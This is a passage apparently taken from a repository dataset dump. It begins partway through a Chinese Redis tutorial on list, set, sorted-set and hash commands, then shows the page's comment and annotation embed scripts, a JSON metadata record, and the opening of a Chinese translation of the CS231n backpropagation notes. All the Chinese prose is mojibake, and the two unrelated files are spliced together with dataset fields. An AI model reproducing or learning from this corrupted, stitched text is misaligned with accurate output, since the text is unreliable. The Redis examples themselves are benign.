ๅฐฑๆ˜ฏไธ€ไธฒๆœ‰ๅบ็š„ๆ•ฐๅ€ผใ€‚ๅฏนไบŽๆ“ไฝœ่ฟ™็งๆ•ฐๆฎ็ป“ๆž„็š„ๅธธ่ง Redis ๆŒ‡ไปคๆœ‰ [RPUSH](http://redisdoc.com/list/rpush.html)๏ผŒ[LPUSH](http://redisdoc.com/list/lpush.html)๏ผŒ[LLEN](http://redisdoc.com/list/llen.html)๏ผŒ[LRANGE](http://redisdoc.com/list/lrange.html)๏ผŒ[LPOP](http://redisdoc.com/list/lpop.html) ๅ’Œ [RPOP](http://redisdoc.com/list/rpop.html) ็ญ‰ใ€‚ๆˆ‘ไปฌๅฏไปฅ็›ดๆŽฅๅฐ†ไธ€ไธช key ็š„ value ๆ•ฐๅ€ผ่ง†ไฝœ list ็š„ไธ€ไธชๅ…ƒ็ด ๅผ€ๅง‹ๆžไบ‹ๆƒ…ใ€‚\n\n[RPUSH](http://redisdoc.com/list/rpush.html) ๅฏไปฅๆทปๅŠ ไธ€ไธชๆ–ฐ็š„ value ๅˆฐ list ็š„ๅณๆœซ็ซฏ๏ผš\n\n```bash\nRPUSH friends \"Alice\"\nRPUSH friends \"Bob\"\n```\n\n[LPUSH](http://redisdoc.com/list/lpush.html) ๅฏไปฅๆทปๅŠ ไธ€ไธชๆ–ฐ็š„ value ๅˆฐ list ็š„ๅทฆๅ‰็ซฏ๏ผš\n\n```bash\nLPUSH friends \"Sam\"\n```\n\n๏ผˆๆญคๆ—ถ๏ผŒๆˆ‘ไปฌ็š„ key `friends` ็š„ list ๅบ”่ฏฅๆ˜ฏ๏ผš\"Sam\" \"Alice\" \"Bob\"๏ผ‰\n\n[LRANGE](http://redisdoc.com/list/lrange.html) ๅฏไปฅ่ฟ”ๅ›žไธ€ไธช list ็š„ๅญ้›†๏ผŒ่ฟ™ไนŸๅฐฑๆ˜ฏๆ‰€่ฐ“็š„ๅˆ‡็‰‡ๆ“ไฝœ๏ผŒๆŒ‡ไปคๅŽ้ข่ทŸไธŠ็š„ไธคไธชๆ•ฐๅญ—ๅˆ†ๅˆซไปฃ่กจ็š„ๆ˜ฏ่ขซๅˆ‡็‰‡ list ไธค็ซฏ็š„็ดขๅผ•ๅ€ผใ€‚ๅ…ถไธญ๏ผŒ-1 ไปฃ่กจ็š„ๆ˜ฏ็›ดๆŽฅๅˆฐๅบ•๏ผŒ่ฟ™ไบ›่ง„ๅˆ™ไธŽ Python ็ญ‰็ผ–็จ‹่ฏญ่จ€ๆ˜ฏไธ€่‡ด็š„ใ€‚\n\n```bash\nLRANGE friends 0 -1 # => 1) \"Sam\", 2) \"Alice\", 3) \"Bob\"\nLRANGE friends 0 1 # => 1) \"Sam\", 2) \"Alice\"\nLRANGE friends 1 2 # => 1) \"Alice\", 2) \"Bob\"\n```\n\n[LLEN](http://redisdoc.com/list/llen.html) ่ฟ”ๅ›žๆŸ key ไธญ list ็š„้•ฟๅบฆใ€‚\n\n```shell\nLLEN friends # => 3\n```\n\n[LPOP](http://redisdoc.com/list/lpop.html) ๅŽปๆŽ‰ list ไธญ็š„็ฌฌไธ€ไธชๅ…ƒ็ด ๏ผŒๅนถไธ”่ฟ”ๅ›ž่ฏฅๅ…ƒ็ด ใ€‚\n\n```shell\nLPOP friends # => \"Sam\"\n```\n\n[RPOP](http://redisdoc.com/list/rpop.html) ๅŽปๆŽ‰ list ไธญ็š„ๆœ€ๅŽไธ€ไธชๅ…ƒ็ด ๏ผŒๅนถไธ”่ฟ”ๅ›ž่ฏฅๅ…ƒ็ด ใ€‚\n\n```shell\nRPOP friends # => \"Bob\"\n```\n\n็ป่ฟ‡ไธŠ้ขไธ€ไธฒๆ“ไฝœๅŽ๏ผŒๆˆ‘ไปฌ็š„ `friends` ไธญๅฐฑๆ˜ฏๅชๆœ‰ไธ€ไธชๅ…ƒ็ด ็š„ list ไบ†ใ€‚\n\n```shell\nLLEN friends # => 1\nLRANGE friends 0 -1 # => 1) \"Alice\"\n```\n\n\n\n## ๆ•ฐๆฎ็ป“ๆž„๏ผšset\n\nๆŽฅไธ‹ๆฅ๏ผŒๆˆ‘ไปฌๆฅ็œ‹ไธ‹ set ่ฟ™ไธชๆ•ฐๆฎ็ป“ๆž„๏ผŒๅฎƒๅ’Œ list ้žๅธธๅƒ๏ผŒไฝ†ๆ˜ฏๆฒกๆœ‰ๆœ‰ๅบๆ€ง๏ผŒๅนถไธ”ๅ…ถไธญๆฏไธชๅ…ƒ็ด ้ƒฝๅช่ƒฝๅ‡บ็Žฐไธ€ๆฌก๏ผŒไธๅฏไปฅ้‡ๅคๅ‡บ็Žฐใ€‚ๅ…ณไบŽ set ๅธธ็”จ็š„ๆ•ฐๆฎๆ“ไฝœๆœ‰ [SADD](http://redisdoc.com/set/sadd.html)๏ผŒ[SREM](http://redisdoc.com/set/srem.html)๏ผŒ[SISMEMBER](http://redisdoc.com/set/sismember.html)๏ผŒ[SMEMBERS](http://redisdoc.com/set/sismember.html) ๅ’Œ [SUNION](http://redisdoc.com/set/sunion.html)ใ€‚\n\n[SADD](http://redisdoc.com/set/sadd.html) ๆŒ‡ไปคๆ˜ฏ็ป™ๆŸ key ไธญ็š„ set ๅขžๅŠ ๅ…ƒ็ด ็”จ็š„ใ€‚\n\n```shell\nSADD superpowers \"flight\"\nSADD superpowers \"x-ray vision\"\nSADD superpowers \"reflexes\"\n```\n\n[SREM](http://redisdoc.com/set/srem.html) ๆŒ‡ไปคๆ˜ฏๅˆ ้™คๆŸ key ไธญๆŒ‡ๅฎš็š„ๅ…ƒ็ด ใ€‚\n\n```shell\nSREM superpowers \"reflexes\"\n```\n\n[SISMEMBER](http://redisdoc.com/set/sismember.html) ๆŒ‡ไปคๅฏไปฅ่ฟ”ๅ›žๆ˜ฏๅฆๆŸ็ป™ๅฎšๅ…ƒ็ด ๅœจๆŸ key ไธญใ€‚1 ๅฐฑๆ˜ฏ True๏ผŒ0 ๅฐฑๆ˜ฏ Falseใ€‚\n\n```shell\nSISMEMBER superpowers \"flight\" # => 1\nSISMEMBER superpowers \"reflexes\" # => 0\n```\n\n[SMEMBERS](http://redisdoc.com/set/sismember.html) ๆŒ‡ไปคๅฏไปฅ่ฟ”ๅ›žๆŸ key ไธญๆ‰€ๆœ‰็š„ๅ…ƒ็ด ใ€‚\n\n```shell\nSMEMBERS superpowers # => 1) \"flight\", 2) \"x-ray vision\"\n```\n\n[SUNION](http://redisdoc.com/set/sunion.html) ๆŒ‡ไปคๅฏไปฅๅˆๅนถไธคไธชไปฅไธŠ key๏ผŒๅนถไธ”่ฟ”ๅ›žๅˆๅนถๅŽ็š„ๆ‰€ๆœ‰ๅ…ƒ็ด ใ€‚๏ผˆๅˆๅนถ=ๅนถ้›†๏ผ‰\n\n```shell\nSADD birdpowers \"pecking\"\nSADD birdpowers \"flight\"\nSUNION superpowers birdpowers # => 1) \"pecking\", 2) \"x-ray vision\", 3) \"flight\"\n```\n\n\n\n\n\n\n\n## ๆ•ฐๆฎ็ป“ๆž„๏ผšsorted set\n\n่™ฝ็„ถ Set ็”จ่ตทๆฅๅทฒ็ปๅพˆๅธฆๆ„Ÿไบ†๏ผŒไฝ†ๆ˜ฏๅฎŒๅ…จ็š„ๆ— ๅบๆ€ง่ฟ˜ๆ˜ฏๆœ‰ไบ›ไธๆ˜ฏ้‚ฃไนˆ็š„็”จ้€”ๅนฟๆณ›ใ€‚ไบŽๆ˜ฏ Redis 1.2 ๅผ€ๅง‹ๅผ•ๅ…ฅไบ†ๆ–ฐ็š„ sorted set ๆ•ฐๆฎ็ป“ๆž„ใ€‚\n\nsorted set ๅ’Œ set ๅ…ถๅฎž่ฟ˜ๆ˜ฏ้žๅธธๅƒ็š„๏ผŒไป…ไป…ๆ˜ฏๆŸ key ไธญ็š„ๆฏไธชๅ…ƒ็ด ไธญ้™„ๅธฆไบ†ไธ€ไธชๆ•ฐๅ€ผ๏ผŒ็”จไปฅๅฏนๅ…ƒ็ด ่ฟ›่กŒๆŽ’ๅบใ€‚\n\n```shell\nZADD hackers 1940 \"Alan Kay\"\nZADD hackers 1906 \"Grace Hopper\"\nZADD hackers 1953 \"Richard Stallman\"\nZADD hackers 1965 \"Yukihiro Matsumoto\"\nZADD hackers 1916 \"Claude Shannon\"\nZADD hackers 1969 \"Linus Torvalds\"\nZADD hackers 1957 \"Sophie Wilson\"\nZADD hackers 1912 \"Alan Turing\"\n```\n\nๅœจไธŠ้ข่ฟ™ไธชไพ‹ๅญไธญ๏ผŒๆˆ‘ไปฌไฝฟ็”จ [ZADD](http://redisdoc.com/sorted_set/zadd.html) ๆŒ‡ไปคๅœจ key ไธบ `hackers` ไธญๆทปๅŠ ไบ†ๆฏไธ€ไธชๆŒ‡ๆ˜Ž้ป‘ๅฎข็š„ๅ‡บ็”Ÿๅนดๆœˆๅ’Œๅๅญ—ไฝœไธบๅ…ƒ็ด ๏ผˆvalue๏ผ‰ใ€‚ๅŒๆ ท็š„๏ผŒๆˆ‘ไปฌๅฏไปฅไฝฟ็”จ [ZRANGE](http://redisdoc.com/sorted_set/zrange.html) ๆฅๅฏน sorted set ่ฟ›่กŒๅˆ‡็‰‡๏ผš\n\n```shell\nZRANGE hackers 2 4 # => 1) \"Claude Shannon\", 2) \"Alan Kay\", 3) \"Richard Stallman\"\n```\n\n\n\n\n\n\n\n\n\n## ๆ•ฐๆฎ็ป“ๆž„๏ผšhashes\n\nไน‹ๅ‰ไป‹็ป็š„ๆ•ฐๆฎ็ป“ๆž„้ƒฝ็ฎ—ๆ˜ฏๅพˆ็ฎ€ๅ•๏ผŒRedis ๅ…ถๅฎž่ฟ˜ๅฏไปฅๅค„็† Hashes๏ผˆๅ“ˆๅธŒ๏ผ‰ๆ•ฐๆฎ็ป“ๆž„ใ€‚\n\nHashes ๅฏไปฅๅฎž็Žฐไธ€็งๅตŒๅฅ—ๅผ็š„ๆ˜ ๅฐ„๏ผˆๆฏ”ๆ–น่ฏด๏ผŒไธ€ไธช็”จๆˆทๅทฆๅณไธ€ไธช key ็š„่ฏ๏ผŒๅ…ถ value ๅฏไปฅ่ฟ›ไธ€ๆญฅ่ต‹ไบˆๅพˆๅคš key ๏ผˆๅซๅš field๏ผ‰ๅฆ‚ๅง“ๅ๏ผŒ็”ตๅญ้‚ฎไปถ๏ผŒๅฏ†็ ็ญ‰็ญ‰๏ผ‰๏ผš\n\n```shell\nHSET user:1000 name \"John Smith\"\nHSET user:1000 email \"[email protected]\"\nHSET user:1000 password \"s3cret\"\n```\n\nไธŠ้ขไพ‹ๅญไธญไฝฟ็”จไบ† [HSET](http://redisdoc.com/hash/hset.html) ๆŒ‡ไปคๆฅๅˆ›ๅปบ hashใ€‚่Žทๅ–ๆ‰€ๆœ‰ๅ€ผ็š„ๆŒ‡ไปคๆ˜ฏ [HGETALL](http://redisdoc.com/hash/hgetall.html)๏ผš\n\n```shell\nHGETALL user:1000\n```\n\nๅ…ถๅฎžไฝ ไนŸๅฏไปฅไธ€ๆฌกๆ€งๅˆ›ๅปบ๏ผŒไฝฟ็”จ [HMSET](http://redisdoc.com/hash/hmset.html) ๆŒ‡ไปคๅฐฑๅฏไปฅ๏ผš\n\n```shell\nHMSET user:1001 name \"Mary Jones\" password \"hidden\" email \"[email protected]\"\n```\n\nๅฆ‚ๆžœไฝ ๆƒณ่Žทๅ–ๆŸ key ไธ‹็š„ field ไฟกๆฏ๏ผŒๅฏไปฅไฝฟ็”จ [HGET](http://redisdoc.com/hash/hget.html) ๆŒ‡ไปค๏ผš\n\n```shell\nHGET user:1001 name # => \"Mary Jones\"\n```\n\nๅ…ถๅฎžไฝ ๅฏไปฅๆ„Ÿๅ—ๅˆฐๅฏน hash ไธญ็š„ field ่ฟ›่กŒๆ•ฐๆฎๆ“ไฝœๆ˜ฏ้žๅธธ็†Ÿๆ‚‰็š„๏ผŒๆฏ”ๆ–น่ฏดไฝ ่‹ฅๆƒณๅฏนๆŸ field ่ฟ›่กŒ่ฎกๆ•ฐๆ“ไฝœ็š„่ฏ๏ผŒๅฏไปฅไฝฟ็”จ [HINCRBY](http://redisdoc.com/hash/hincrby.html) ๆŒ‡ไปคๅณๅฏ๏ผŒ่ฟ™ไนŸๆ˜ฏ atomic ็š„ๆ•ฐๆฎๆ“ไฝœๅ“ฆ๏ผ\n\n```shell\nHSET user:1000 visits 10\nHINCRBY user:1000 visits 1 # => 11\nHINCRBY user:1000 visits 10 # => 21\nHDEL user:1000 visits\nHINCRBY user:1000 visits 1 # => 1\n```\n\nๆ›ดๅคšๅ…ณไบŽ Hash ็š„ๆŒ‡ไปคๅฏไปฅๆŸฅ็œ‹[่ฟ™้‡Œ](https://redis.io/commands#hash)ใ€‚\n\n---\n\n\n\nๅฆ‚ๆžœไฝ ่ฏปๅˆฐ่ฟ™้‡Œๆ„Ÿๅˆฐ่ฝปๆพ๏ผŒๆ“ไฝœ่ตทๆฅๅทฒ็ปๆทฑ่ฐ™ๅ…ถ้“็š„่ฏ๏ผŒๅปบ่ฎฎ้˜…่ฏปไธŠ้ข็š„ **Redis ๅ‚่€ƒ่ต„ๆ–™** ๆ‰€็ฝ—ๅˆ—็š„่ต„ๆ–™๏ผŒไนŸๅผบ็ƒˆๅปบ่ฎฎ่ฏปไธ€่ฏป่ฟ™ไธ€็ฏ‡ๅฎ˜ๆ–นๆ–‡็ซ ๏ผˆ[Introduction to Redis Data Types](http://redis.io/topics/data-types-intro)๏ผ‰๏ผŒๆ–‡ไธญไผšๆทฑๅ…ฅๆต…ๅ‡บ็š„ไป‹็ปๆ‰€ๆœ‰ Redis ๆ•ฐๆฎ็ฑปๅž‹็š„ๅทฎๅผ‚ๅ’Œ็‰น็‚น๏ผŒไนŸไผšๅฏนๅ„ๆ•ฐๆฎ็ฑปๅž‹็š„็”จ้€”็”จๆณ•ๆœ‰่ฏฆ็ป†ไป‹็ปใ€‚\n\n\n\n\n๏ผˆEND๏ผ‰\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./Redis_Tutorial.html)\n\n\n<div id=\"disqus_thread\"></div>\n<script>\n/**\n* RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.\n* LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/\n/*\nvar disqus_config = function () {\nthis.page.url = PAGE_URL; // Replace PAGE_URL with your page's canonical URL variable\nthis.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable\n};\n*/\n(function() { // DON'T EDIT BELOW THIS LINE\nvar d = document, s = d.createElement('script');\ns.src = 'https://iphysresearch.disqus.com/embed.js';\ns.setAttribute('data-timestamp', +new Date());\n(d.head || d.body).appendChild(s);\n})();\n</script>\n<noscript>Please enable JavaScript to view the <a href=\"https://disqus.com/?ref_noscript\">comments powered by Disqus.</a></noscript>\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n" }, { "alpha_fraction": 0.6521023511886597, "alphanum_fraction": 0.678515613079071, "avg_line_length": 39.245033264160156, "blob_id": "8a8305db2e9dbc35942ad0054015d4a2394a9af0", "content_id": "f7c108e843d98cea7e3285b68a1e82633cb90fb2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 23633, "license_type": "no_license", "max_line_length": 690, "num_lines": 302, "path": "/blog/cs231n/CS231n_backprop_notes.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n - Backpro Note\ndate: 2018-08-23\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n\n\n# CS231n่ฏพ็จ‹่ฎฒไน‰็ฟป่ฏ‘๏ผšๅๅ‘ไผ ๆ’ญ\n\n> **่‡ชๆณจ๏ผš**ๆญคๆ–‡ๆ˜ฏๅœจ่ฝฌ่ฝฝ็š„ๅŸบ็ก€ไธŠ๏ผŒ้€š่ฟ‡็ฝ‘็ปœๆœ้›†ๅ…ถไป–็›ธๅ…ณๅญฆไน ่ต„ๆ–™๏ผŒๅ†็ป“ๅˆ่‡ชๅทฑ็†่งฃไธ‹๏ผŒๅกซๅ……ๅนถๆณจ้‡Šไบ†ๆ›ดๅคš็š„็ป†่Š‚ๅ’Œๅ†…ๅฎน๏ผŒไปฅๆญค่ฏฆๅฐฝ็š„ๆ–‡ๆœฌ่ต„ๆ–™ไปฃๆ›ฟๅ„็ง่ง†้ข‘่ฏพ็จ‹็ญ‰่ต„ๆ–™๏ผŒๆ–นไพฟ่‡ชๅทฑๅ›žๅคด็ฟปๆŸฅใ€‚\n>\n> ่ฝฌ่ฝฝ่ฏทๆณจๆ˜Žๆœฌๆ–‡ๅ‡บๅค„ๅ’Œ[ๅŽŸ่ฏ‘ๆ–‡](http://cs231n.github.io/optimization-2/)ๅ‡บๅค„ใ€‚\n>\n> ๏ผˆไธชไบบๅกซๅ……็š„ๅ†…ๅฎนๅŒ…ๆ‹ฌ๏ผšไธ‹ๅˆ’็บฟใ€ๆณจๆ˜Žโ€œ่‡ชๆณจโ€๏ผ‰\n\n> ่ฏ‘่€…ๆณจ๏ผšๆœฌๆ–‡[ๆ™บ่ƒฝๅ•ๅ…ƒ](https://zhuanlan.zhihu.com/intelligentunit)้ฆ–ๅ‘๏ผŒ่ฏ‘่‡ชๆ–ฏๅฆ็ฆCS231n่ฏพ็จ‹็ฌ”่ฎฐ[Backprop Note](http://cs231n.github.io/optimization-2/)๏ผŒ่ฏพ็จ‹ๆ•™ๅธˆ[Andrej Karpathy](http://link.zhihu.com/?target=http%3A//cs.stanford.edu/people/karpathy/)ๆŽˆๆƒ็ฟป่ฏ‘ใ€‚ๆœฌ็ฏ‡ๆ•™็จ‹็”ฑ[ๆœๅฎข](https://www.zhihu.com/people/du-ke)็ฟป่ฏ‘ๅฎŒๆˆ๏ผŒ[ๅ ƒๅ ƒ](https://www.zhihu.com/people/kun-kun-97-81)ๅ’Œ[ๅทฉๅญๅ˜‰](https://www.zhihu.com/people/hmonkey)่ฟ›่กŒๆ กๅฏนไฟฎๆ”นใ€‚่ฏ‘ๆ–‡ๅซๅ…ฌๅผๅ’Œไปฃ็ ๏ผŒๅปบ่ฎฎPC็ซฏ้˜…่ฏปใ€‚\n\n[TOC]\n\nๅ†…ๅฎนๅˆ—่กจ๏ผš\n\n- ็ฎ€ไป‹\n- ็ฎ€ๅ•่กจ่พพๅผๅ’Œ็†่งฃๆขฏๅบฆ\n- ๅคๅˆ่กจ่พพๅผ๏ผŒ้“พๅผๆณ•ๅˆ™๏ผŒๅๅ‘ไผ ๆ’ญ\n- ็›ด่ง‚็†่งฃๅๅ‘ไผ ๆ’ญ\n- ๆจกๅ—๏ผšSigmoidไพ‹ๅญ\n- ๅๅ‘ไผ ๆ’ญๅฎž่ทต๏ผšๅˆ†ๆฎต่ฎก็ฎ—\n- ๅ›žไผ ๆตไธญ็š„ๆจกๅผ\n- ็”จๆˆทๅ‘้‡ๅŒ–ๆ“ไฝœ็š„ๆขฏๅบฆ\n- ๅฐ็ป“\n\n\n\n## ็ฎ€ไป‹\n\n**็›ฎๆ ‡**๏ผšๆœฌ่Š‚ๅฐ†ๅธฎๅŠฉ่ฏป่€…ๅฏน**ๅๅ‘ไผ ๆ’ญ**ๅฝขๆˆ็›ด่ง‚่€Œไธ“ไธš็š„็†่งฃใ€‚ๅๅ‘ไผ ๆ’ญๆ˜ฏๅˆฉ็”จ**้“พๅผๆณ•ๅˆ™**้€’ๅฝ’่ฎก็ฎ—่กจ่พพๅผ็š„ๆขฏๅบฆ็š„ๆ–นๆณ•ใ€‚็†่งฃๅๅ‘ไผ ๆ’ญ่ฟ‡็จ‹ๅŠๅ…ถ็ฒพๅฆ™ไน‹ๅค„๏ผŒๅฏนไบŽ็†่งฃใ€ๅฎž็Žฐใ€่ฎพ่ฎกๅ’Œ่ฐƒ่ฏ•็ฅž็ป็ฝ‘็ปœ้žๅธธ**ๅ…ณ้”ฎ**ใ€‚\n\n**้—ฎ้ข˜้™ˆ่ฟฐ**๏ผš่ฟ™่Š‚็š„ๆ ธๅฟƒ้—ฎ้ข˜ๆ˜ฏ๏ผš็ป™ๅฎšๅ‡ฝๆ•ฐ$f(x)$ ๏ผŒๅ…ถไธญ$x$ๆ˜ฏ่พ“ๅ…ฅๆ•ฐๆฎ็š„ๅ‘้‡๏ผŒ้œ€่ฆ่ฎก็ฎ—ๅ‡ฝๆ•ฐ$f$ๅ…ณไบŽ$x$็š„ๆขฏๅบฆ๏ผŒไนŸๅฐฑๆ˜ฏ$\\nabla f(x)$ใ€‚\n\n**็›ฎๆ ‡**๏ผšไน‹ๆ‰€ไปฅๅ…ณๆณจไธŠ่ฟฐ้—ฎ้ข˜๏ผŒๆ˜ฏๅ› ไธบๅœจ็ฅž็ป็ฝ‘็ปœไธญ$f$ๅฏนๅบ”็š„ๆ˜ฏๆŸๅคฑๅ‡ฝๆ•ฐ๏ผˆ$L$๏ผ‰๏ผŒ่พ“ๅ…ฅ$x$้‡Œ้ขๅŒ…ๅซ่ฎญ็ปƒๆ•ฐๆฎๅ’Œ็ฅž็ป็ฝ‘็ปœ็š„ๆƒ้‡ใ€‚ไธพไธชไพ‹ๅญ๏ผŒๆŸๅคฑๅ‡ฝๆ•ฐๅฏไปฅๆ˜ฏSVM็š„ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผŒ่พ“ๅ…ฅๅˆ™ๅŒ…ๅซไบ†่ฎญ็ปƒๆ•ฐๆฎ$(x_i,y_i),i=1...N$ใ€ๆƒ้‡$W$ๅ’Œๅๅทฎ$b$ใ€‚ๆณจๆ„่ฎญ็ปƒ้›†ๆ˜ฏ็ป™ๅฎš็š„๏ผˆๅœจๆœบๅ™จๅญฆไน ไธญ้€šๅธธ้ƒฝๆ˜ฏ่ฟ™ๆ ท๏ผ‰๏ผŒ่€Œๆƒ้‡ๆ˜ฏๅฏไปฅๆŽงๅˆถ็š„ๅ˜้‡ใ€‚ๅ› ๆญค๏ผŒๅณไฝฟ่ƒฝ็”จๅๅ‘ไผ ๆ’ญ่ฎก็ฎ—่พ“ๅ…ฅๆ•ฐๆฎ$x_i$ไธŠ็š„ๆขฏๅบฆ๏ผŒไฝ†ๅœจๅฎž่ทตไธบไบ†่ฟ›่กŒๅ‚ๆ•ฐๆ›ดๆ–ฐ๏ผŒ้€šๅธธไนŸๅช่ฎก็ฎ—ๅ‚ๆ•ฐ๏ผˆๆฏ”ๅฆ‚$W,b$๏ผ‰็š„ๆขฏๅบฆใ€‚็„ถ่€Œ$x_i$็š„ๆขฏๅบฆๆœ‰ๆ—ถไป็„ถๆ˜ฏๆœ‰็”จ็š„๏ผšๆฏ”ๅฆ‚ๅฐ†็ฅž็ป็ฝ‘็ปœๆ‰€ๅš็š„ไบ‹ๆƒ…ๅฏ่ง†ๅŒ–ไพฟไบŽ็›ด่ง‚็†่งฃ็š„ๆ—ถๅ€™๏ผŒๅฐฑ่ƒฝ็”จไธŠใ€‚\n\nๅฆ‚ๆžœ่ฏป่€…ไน‹ๅ‰ๅฏนไบŽๅˆฉ็”จ้“พๅผๆณ•ๅˆ™่ฎก็ฎ—ๅๅพฎๅˆ†ๅทฒ็ปๅพˆ็†Ÿ็ปƒ๏ผŒไป็„ถๅปบ่ฎฎๆต่งˆๆœฌ็ฏ‡็ฌ”่ฎฐใ€‚ๅ› ไธบๅฎƒๅ‘ˆ็Žฐไบ†ไธ€ไธช็›ธๅฏนๆˆ็†Ÿ็š„ๅๅ‘ไผ ๆ’ญ่ง†่ง’๏ผŒๅœจ่ฏฅ่ง†่ง’ไธญ่ƒฝ็œ‹่งๅŸบไบŽๅฎžๆ•ฐๅ€ผๅ›ž่ทฏ็š„ๅๅ‘ไผ ๆ’ญ่ฟ‡็จ‹๏ผŒ่€Œๅฏนๅ…ถ็ป†่Š‚็š„็†่งฃๅ’Œๆ”ถ่Žทๅฐ†ๅธฎๅŠฉ่ฏป่€…ๆ›ดๅฅฝๅœฐ้€š่ฟ‡ๆœฌ่ฏพ็จ‹ใ€‚\n\n## ็ฎ€ๅ•่กจ่พพๅผๅ’Œ็†่งฃๆขฏๅบฆ\n\nไปŽ็ฎ€ๅ•่กจ่พพๅผๅ…ฅๆ‰‹ๅฏไปฅไธบๅคๆ‚่กจ่พพๅผๆ‰“ๅฅฝ็ฌฆๅทๅ’Œ่ง„ๅˆ™ๅŸบ็ก€ใ€‚ๅ…ˆ่€ƒ่™‘ไธ€ไธช็ฎ€ๅ•็š„ไบŒๅ…ƒไน˜ๆณ•ๅ‡ฝๆ•ฐ$f(x,y)=xy$ใ€‚ๅฏนไธคไธช่พ“ๅ…ฅๅ˜้‡ๅˆ†ๅˆซๆฑ‚ๅๅฏผๆ•ฐ่ฟ˜ๆ˜ฏๅพˆ็ฎ€ๅ•็š„๏ผš\n$$\nf(x,y)=xy\\rightarrow\\frac{df}{dx}=y\\,\\,\\,\\,\\,\\,\\frac{df}{dy}=x\n$$\n**่งฃ้‡Š**๏ผš็‰ข่ฎฐ่ฟ™ไบ›ๅฏผๆ•ฐ็š„ๆ„ไน‰๏ผšๅ‡ฝๆ•ฐๅ˜้‡ๅœจๆŸไธช็‚นๅ‘จๅ›ด็š„ๆžๅฐๅŒบๅŸŸๅ†…ๅ˜ๅŒ–๏ผŒ่€Œๅฏผๆ•ฐๅฐฑๆ˜ฏๅ˜้‡ๅ˜ๅŒ–ๅฏผ่‡ด็š„ๅ‡ฝๆ•ฐๅœจ่ฏฅๆ–นๅ‘ไธŠ็š„ๅ˜ๅŒ–็Ž‡ใ€‚\n$$\n\\frac{df(x)}{dx}=\\lim_{h\\rightarrow0}\\frac{f(x+h)-f(x)}{h}\n$$\nๆณจๆ„็ญ‰ๅทๅทฆ่พน็š„ๅˆ†ๅทๅ’Œ็ญ‰ๅทๅณ่พน็š„ๅˆ†ๅทไธๅŒ๏ผŒไธๆ˜ฏไปฃ่กจๅˆ†ๆ•ฐใ€‚็›ธๅ๏ผŒ่ฟ™ไธช็ฌฆๅท่กจ็คบๆ“ไฝœ็ฌฆ$\\frac{d}{dx}$่ขซๅบ”็”จไบŽๅ‡ฝๆ•ฐ$f$๏ผŒๅนถ่ฟ”ๅ›žไธ€ไธชไธๅŒ็š„ๅ‡ฝๆ•ฐ๏ผˆๅฏผๆ•ฐ๏ผ‰ใ€‚ๅฏนไบŽไธŠ่ฟฐๅ…ฌๅผ๏ผŒๅฏไปฅ่ฎคไธบ$h$ๅ€ผ้žๅธธๅฐ๏ผŒๅ‡ฝๆ•ฐๅฏไปฅ่ขซไธ€ๆก็›ด็บฟ่ฟ‘ไผผ๏ผŒ่€Œๅฏผๆ•ฐๅฐฑๆ˜ฏ่ฟ™ๆก็›ด็บฟ็š„ๆ–œ็Ž‡ใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒๆฏไธชๅ˜้‡็š„ๅฏผๆ•ฐๆŒ‡ๆ˜Žไบ†ๆ•ดไธช่กจ่พพๅผๅฏนไบŽ่ฏฅๅ˜้‡็š„ๅ€ผ็š„ๆ•ๆ„Ÿ็จ‹ๅบฆใ€‚ๆฏ”ๅฆ‚๏ผŒ่‹ฅ$x=4,y=-3$๏ผŒๅˆ™$f(x,y)=-12$๏ผŒ$x$็š„ๅฏผๆ•ฐ$\\frac{\\partial f}{\\partial x}=-3$ใ€‚่ฟ™ๅฐฑ่ฏดๆ˜Žๅฆ‚ๆžœๅฐ†ๅ˜้‡![x](http://www.zhihu.com/equation?tex=x)็š„ๅ€ผๅ˜ๅคงไธ€็‚น๏ผŒๆ•ดไธช่กจ่พพๅผ็š„ๅ€ผๅฐฑไผšๅ˜ๅฐ๏ผˆๅŽŸๅ› ๅœจไบŽ่ดŸๅท๏ผ‰๏ผŒ่€Œไธ”ๅ˜ๅฐ็š„้‡ๆ˜ฏ$x$ๅ˜ๅคง็š„้‡็š„ไธ‰ๅ€ใ€‚้€š่ฟ‡้‡ๆ–ฐๆŽ’ๅˆ—ๅ…ฌๅผๅฏไปฅ็œ‹ๅˆฐ่ฟ™ไธ€็‚น๏ผˆ$f(x+h)=f(x)+h \\frac{df(x)}{dx}$๏ผ‰ใ€‚ๅŒๆ ท๏ผŒๅ› ไธบ$\\frac{\\partial f}{\\partial y}=4$๏ผŒๅฏไปฅ็Ÿฅ้“ๅฆ‚ๆžœๅฐ†$y$็š„ๅ€ผๅขžๅŠ $h$๏ผŒ้‚ฃไนˆๅ‡ฝๆ•ฐ็š„่พ“ๅ‡บไนŸๅฐ†ๅขžๅŠ ๏ผˆๅŽŸๅ› ๅœจไบŽๆญฃๅท๏ผ‰๏ผŒไธ”ๅขžๅŠ ้‡ๆ˜ฏ$4h$ใ€‚\n\n> 